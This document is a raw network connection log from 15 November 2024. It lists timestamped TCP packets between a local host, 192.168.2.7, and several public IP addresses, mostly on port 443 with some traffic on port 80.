Nov 15, 2024 09:55:35.184112072 CET	49849	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:35.184118032 CET	443	49849	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:35.184340000 CET	49848	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:35.184356928 CET	443	49848	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:35.184788942 CET	49848	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:35.184793949 CET	443	49848	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:35.185204983 CET	49853	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:35.185224056 CET	443	49853	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:35.185880899 CET	49853	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:35.185885906 CET	443	49853	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:35.187640905 CET	49854	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:35.187663078 CET	443	49854	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:35.188112974 CET	49854	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:35.188119888 CET	443	49854	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:35.308084965 CET	443	49849	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:35.308180094 CET	443	49849	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:35.308237076 CET	49849	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:35.311163902 CET	443	49853	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:35.311192036 CET	443	49853	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:35.311250925 CET	443	49853	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:35.311461926 CET	49853	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:35.311832905 CET	443	49848	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:35.311897039 CET	443	49848	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:35.312238932 CET	49848	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:35.318840981 CET	443	49854	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:35.318873882 CET	443	49854	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:35.318944931 CET	443	49854	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:35.319111109 CET	49854	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:35.347340107 CET	443	49852	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:35.467329025 CET	443	49857	94.245.104.56	192.168.2.7
Nov 15, 2024 09:55:35.470676899 CET	49857	443	192.168.2.7	94.245.104.56
Nov 15, 2024 09:55:35.470688105 CET	443	49857	94.245.104.56	192.168.2.7
Nov 15, 2024 09:55:35.472420931 CET	443	49857	94.245.104.56	192.168.2.7
Nov 15, 2024 09:55:35.472481012 CET	49857	443	192.168.2.7	94.245.104.56
Nov 15, 2024 09:55:35.484178066 CET	49857	443	192.168.2.7	94.245.104.56
Nov 15, 2024 09:55:35.484319925 CET	443	49857	94.245.104.56	192.168.2.7
Nov 15, 2024 09:55:35.484350920 CET	49857	443	192.168.2.7	94.245.104.56
Nov 15, 2024 09:55:35.511487961 CET	49852	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:35.531332970 CET	443	49857	94.245.104.56	192.168.2.7
Nov 15, 2024 09:55:35.621512890 CET	49857	443	192.168.2.7	94.245.104.56
Nov 15, 2024 09:55:35.621561050 CET	443	49857	94.245.104.56	192.168.2.7
Nov 15, 2024 09:55:35.799520016 CET	49852	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:35.799559116 CET	443	49852	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:35.800391912 CET	49849	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:35.800422907 CET	443	49849	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:35.800436974 CET	49849	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:35.800442934 CET	443	49849	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:35.800523043 CET	49852	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:35.800537109 CET	443	49852	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:35.800704956 CET	49853	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:35.800750971 CET	443	49853	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:35.800765991 CET	49853	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:35.800772905 CET	443	49853	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:35.801635981 CET	49848	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:35.801670074 CET	443	49848	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:35.804441929 CET	49854	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:35.804471016 CET	443	49854	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:35.804482937 CET	49854	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:35.804488897 CET	443	49854	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:35.815968037 CET	49857	443	192.168.2.7	94.245.104.56
Nov 15, 2024 09:55:35.815977097 CET	443	49857	94.245.104.56	192.168.2.7
Nov 15, 2024 09:55:35.828907967 CET	443	49857	94.245.104.56	192.168.2.7
Nov 15, 2024 09:55:35.828962088 CET	49857	443	192.168.2.7	94.245.104.56
Nov 15, 2024 09:55:35.844835043 CET	49860	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:35.844871044 CET	443	49860	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:35.844938993 CET	49860	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:35.845531940 CET	49861	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:35.845585108 CET	443	49861	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:35.845633030 CET	49861	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:35.925360918 CET	443	49852	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:35.925470114 CET	443	49852	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:35.925528049 CET	49852	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:36.033174992 CET	80	49823	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:36.033235073 CET	49823	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:36.089170933 CET	49865	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:36.089230061 CET	443	49865	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:36.089302063 CET	49865	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:36.089339018 CET	49860	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:36.089355946 CET	443	49860	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:36.089449883 CET	49861	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:36.089483976 CET	443	49861	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:36.093017101 CET	49866	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:36.093053102 CET	443	49866	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:36.093111992 CET	49866	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:36.093509912 CET	49866	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:36.093525887 CET	443	49866	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:36.152442932 CET	49857	443	192.168.2.7	94.245.104.56
Nov 15, 2024 09:55:36.152453899 CET	443	49857	94.245.104.56	192.168.2.7
Nov 15, 2024 09:55:36.153855085 CET	49852	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:36.153894901 CET	443	49852	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:36.153912067 CET	49852	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:36.153918982 CET	443	49852	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:36.171334982 CET	49865	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:36.171376944 CET	443	49865	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:36.463690042 CET	49869	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:36.463751078 CET	443	49869	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:36.463819981 CET	49869	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:36.477185965 CET	49869	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:36.477231026 CET	443	49869	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:36.569776058 CET	49823	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:36.570595026 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:36.574794054 CET	80	49823	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:36.575485945 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:36.575579882 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:36.592636108 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:36.592700958 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:36.597594976 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:36.597609043 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:36.597666979 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:36.597676992 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:36.809700012 CET	443	49860	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:36.811897993 CET	49860	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:36.811912060 CET	443	49860	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:36.812519073 CET	49860	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:36.812524080 CET	443	49860	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:36.821547031 CET	443	49866	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:36.823399067 CET	49866	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:36.823430061 CET	443	49866	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:36.824249029 CET	49866	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:36.824253082 CET	443	49866	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:36.832621098 CET	443	49861	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:36.839688063 CET	49861	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:36.839705944 CET	443	49861	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:36.840260029 CET	49861	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:36.840265989 CET	443	49861	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:36.913157940 CET	443	49865	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:36.935869932 CET	49865	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:36.935894966 CET	443	49865	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:36.936791897 CET	443	49860	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:36.936875105 CET	443	49860	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:36.936971903 CET	49865	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:36.936980009 CET	443	49865	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:36.937726021 CET	49860	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:36.949352980 CET	443	49866	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:36.949394941 CET	443	49866	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:36.949453115 CET	443	49866	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:36.949475050 CET	49866	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:36.949520111 CET	49866	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:36.950790882 CET	49866	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:36.950817108 CET	443	49866	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:36.950834036 CET	49866	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:36.950839996 CET	443	49866	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:36.958961964 CET	49860	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:36.958987951 CET	443	49860	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:36.966958046 CET	443	49861	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:36.967047930 CET	443	49861	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:36.967134953 CET	49873	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:36.967168093 CET	49861	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:36.967179060 CET	443	49873	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:36.967241049 CET	49873	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:36.967377901 CET	49874	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:36.967415094 CET	443	49874	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:36.967463970 CET	49874	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:36.967818975 CET	49874	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:36.967832088 CET	443	49874	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:36.967885971 CET	49861	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:36.967909098 CET	443	49861	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:36.967922926 CET	49861	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:36.967930079 CET	443	49861	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:36.967943907 CET	49873	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:36.967956066 CET	443	49873	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:36.970884085 CET	49875	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:36.970927000 CET	443	49875	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:36.970992088 CET	49875	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:36.971272945 CET	49875	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:36.971286058 CET	443	49875	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:37.028815031 CET	49876	443	192.168.2.7	40.126.32.133
Nov 15, 2024 09:55:37.028871059 CET	443	49876	40.126.32.133	192.168.2.7
Nov 15, 2024 09:55:37.028955936 CET	49876	443	192.168.2.7	40.126.32.133
Nov 15, 2024 09:55:37.029934883 CET	49876	443	192.168.2.7	40.126.32.133
Nov 15, 2024 09:55:37.029949903 CET	443	49876	40.126.32.133	192.168.2.7
Nov 15, 2024 09:55:37.062222004 CET	443	49865	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:37.062257051 CET	443	49865	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:37.062319994 CET	443	49865	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:37.062339067 CET	49865	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:37.062400103 CET	49865	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:37.062577009 CET	49865	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:37.062607050 CET	443	49865	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:37.062622070 CET	49865	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:37.062627077 CET	443	49865	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:37.071244955 CET	49877	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:37.071295977 CET	443	49877	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:37.071372032 CET	49877	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:37.071594954 CET	49877	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:37.071614981 CET	443	49877	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:37.205431938 CET	443	49869	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:37.253421068 CET	49886	443	192.168.2.7	18.244.18.122
Nov 15, 2024 09:55:37.253428936 CET	443	49886	18.244.18.122	192.168.2.7
Nov 15, 2024 09:55:37.253470898 CET	49886	443	192.168.2.7	18.244.18.122
Nov 15, 2024 09:55:37.254188061 CET	49886	443	192.168.2.7	18.244.18.122
Nov 15, 2024 09:55:37.254194975 CET	443	49886	18.244.18.122	192.168.2.7
Nov 15, 2024 09:55:37.263050079 CET	49869	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:37.263084888 CET	443	49869	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:37.263664961 CET	49869	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:37.263674974 CET	443	49869	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:37.388845921 CET	443	49869	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:37.388928890 CET	443	49869	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:37.388993979 CET	49869	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:37.394299030 CET	49869	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:37.394330025 CET	443	49869	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:37.394351006 CET	49869	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:37.394357920 CET	443	49869	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:37.397521973 CET	49889	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:37.397572994 CET	443	49889	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:37.397670984 CET	49889	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:37.397831917 CET	49889	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:37.397845030 CET	443	49889	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:37.517275095 CET	49890	443	192.168.2.7	142.250.186.65
Nov 15, 2024 09:55:37.517338037 CET	443	49890	142.250.186.65	192.168.2.7
Nov 15, 2024 09:55:37.517456055 CET	49890	443	192.168.2.7	142.250.186.65
Nov 15, 2024 09:55:37.517769098 CET	49890	443	192.168.2.7	142.250.186.65
Nov 15, 2024 09:55:37.517776966 CET	443	49890	142.250.186.65	192.168.2.7
Nov 15, 2024 09:55:37.695048094 CET	443	49873	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:37.696805000 CET	49873	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:37.696835041 CET	443	49873	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:37.697562933 CET	49873	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:37.697568893 CET	443	49873	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:37.699846983 CET	443	49875	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:37.700644016 CET	49875	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:37.700655937 CET	443	49875	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:37.701159954 CET	49875	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:37.701165915 CET	443	49875	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:37.759284973 CET	443	49874	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:37.759951115 CET	49874	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:37.759979963 CET	443	49874	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:37.760694981 CET	49874	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:37.760699987 CET	443	49874	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:37.812583923 CET	443	49877	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:37.813802004 CET	49877	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:37.813843966 CET	443	49877	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:37.814305067 CET	49877	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:37.814311981 CET	443	49877	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:37.828303099 CET	443	49875	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:37.828572035 CET	443	49875	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:37.831146955 CET	49875	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:37.841938019 CET	49875	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:37.841973066 CET	443	49875	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:37.841990948 CET	49875	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:37.841999054 CET	443	49875	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:37.842057943 CET	443	49873	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:37.842130899 CET	443	49873	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:37.842180014 CET	49873	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:37.842192888 CET	443	49873	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:37.842246056 CET	443	49873	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:37.842298985 CET	49873	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:37.842659950 CET	49873	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:37.842668056 CET	443	49873	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:37.842679977 CET	49873	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:37.842684984 CET	443	49873	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:37.870359898 CET	49895	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:37.870414019 CET	443	49895	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:37.870477915 CET	49895	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:37.871613026 CET	49895	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:37.871630907 CET	443	49895	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:37.873306990 CET	49896	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:37.873358965 CET	443	49896	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:37.873413086 CET	49896	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:37.873532057 CET	49896	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:37.873542070 CET	443	49896	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:37.893235922 CET	443	49874	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:37.893321991 CET	443	49874	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:37.893465996 CET	49874	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:37.918416977 CET	49874	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:37.918456078 CET	443	49874	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:37.918471098 CET	49874	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:37.918478012 CET	443	49874	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:37.922192097 CET	49897	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:37.922239065 CET	443	49897	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:37.922297001 CET	49897	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:37.924069881 CET	49897	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:37.924082994 CET	443	49897	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:37.991473913 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:37.992583990 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:38.092711926 CET	443	49886	18.244.18.122	192.168.2.7
Nov 15, 2024 09:55:38.115231037 CET	443	49889	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:38.118501902 CET	49886	443	192.168.2.7	18.244.18.122
Nov 15, 2024 09:55:38.118508101 CET	443	49886	18.244.18.122	192.168.2.7
Nov 15, 2024 09:55:38.120196104 CET	443	49886	18.244.18.122	192.168.2.7
Nov 15, 2024 09:55:38.120260954 CET	49886	443	192.168.2.7	18.244.18.122
Nov 15, 2024 09:55:38.133994102 CET	49886	443	192.168.2.7	18.244.18.122
Nov 15, 2024 09:55:38.134063005 CET	443	49886	18.244.18.122	192.168.2.7
Nov 15, 2024 09:55:38.153078079 CET	443	49877	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:38.153167963 CET	443	49877	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:38.153238058 CET	49877	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:38.155828953 CET	443	49876	40.126.32.133	192.168.2.7
Nov 15, 2024 09:55:38.155929089 CET	49876	443	192.168.2.7	40.126.32.133
Nov 15, 2024 09:55:38.210634947 CET	49886	443	192.168.2.7	18.244.18.122
Nov 15, 2024 09:55:38.210655928 CET	443	49886	18.244.18.122	192.168.2.7
Nov 15, 2024 09:55:38.214610100 CET	49889	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:38.321999073 CET	49886	443	192.168.2.7	18.244.18.122
Nov 15, 2024 09:55:38.349004984 CET	49889	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:38.349035978 CET	443	49889	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:38.349724054 CET	49889	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:38.349731922 CET	443	49889	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:38.359035969 CET	49877	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:38.359072924 CET	443	49877	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:38.359097958 CET	49877	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:38.359106064 CET	443	49877	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:38.377677917 CET	443	49890	142.250.186.65	192.168.2.7
Nov 15, 2024 09:55:38.416421890 CET	49890	443	192.168.2.7	142.250.186.65
Nov 15, 2024 09:55:38.416438103 CET	443	49890	142.250.186.65	192.168.2.7
Nov 15, 2024 09:55:38.416944981 CET	443	49890	142.250.186.65	192.168.2.7
Nov 15, 2024 09:55:38.416970968 CET	443	49890	142.250.186.65	192.168.2.7
Nov 15, 2024 09:55:38.417032003 CET	49890	443	192.168.2.7	142.250.186.65
Nov 15, 2024 09:55:38.417041063 CET	443	49890	142.250.186.65	192.168.2.7
Nov 15, 2024 09:55:38.417095900 CET	49890	443	192.168.2.7	142.250.186.65
Nov 15, 2024 09:55:38.417710066 CET	443	49890	142.250.186.65	192.168.2.7
Nov 15, 2024 09:55:38.438129902 CET	49890	443	192.168.2.7	142.250.186.65
Nov 15, 2024 09:55:38.438313961 CET	443	49890	142.250.186.65	192.168.2.7
Nov 15, 2024 09:55:38.438615084 CET	49890	443	192.168.2.7	142.250.186.65
Nov 15, 2024 09:55:38.438628912 CET	443	49890	142.250.186.65	192.168.2.7
Nov 15, 2024 09:55:38.441119909 CET	49900	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:38.441165924 CET	443	49900	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:38.441263914 CET	49900	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:38.452517986 CET	49900	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:38.452543020 CET	443	49900	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:38.473479986 CET	443	49889	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:38.473510027 CET	443	49889	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:38.473562002 CET	443	49889	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:38.473571062 CET	49889	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:38.473606110 CET	49889	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:38.479232073 CET	49889	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:38.479249001 CET	443	49889	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:38.484623909 CET	49876	443	192.168.2.7	40.126.32.133
Nov 15, 2024 09:55:38.484663963 CET	443	49876	40.126.32.133	192.168.2.7
Nov 15, 2024 09:55:38.484961033 CET	443	49876	40.126.32.133	192.168.2.7
Nov 15, 2024 09:55:38.497462988 CET	49876	443	192.168.2.7	40.126.32.133
Nov 15, 2024 09:55:38.497534037 CET	49876	443	192.168.2.7	40.126.32.133
Nov 15, 2024 09:55:38.497600079 CET	443	49876	40.126.32.133	192.168.2.7
Nov 15, 2024 09:55:38.502204895 CET	49901	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:38.502264023 CET	443	49901	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:38.502537966 CET	49901	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:38.504185915 CET	49901	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:38.504210949 CET	443	49901	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:38.539325953 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:38.544265032 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:38.601603031 CET	49890	443	192.168.2.7	142.250.186.65
Nov 15, 2024 09:55:38.613365889 CET	443	49895	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:38.615267038 CET	49895	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:38.615329981 CET	443	49895	13.107.246.45	192.168.2.7
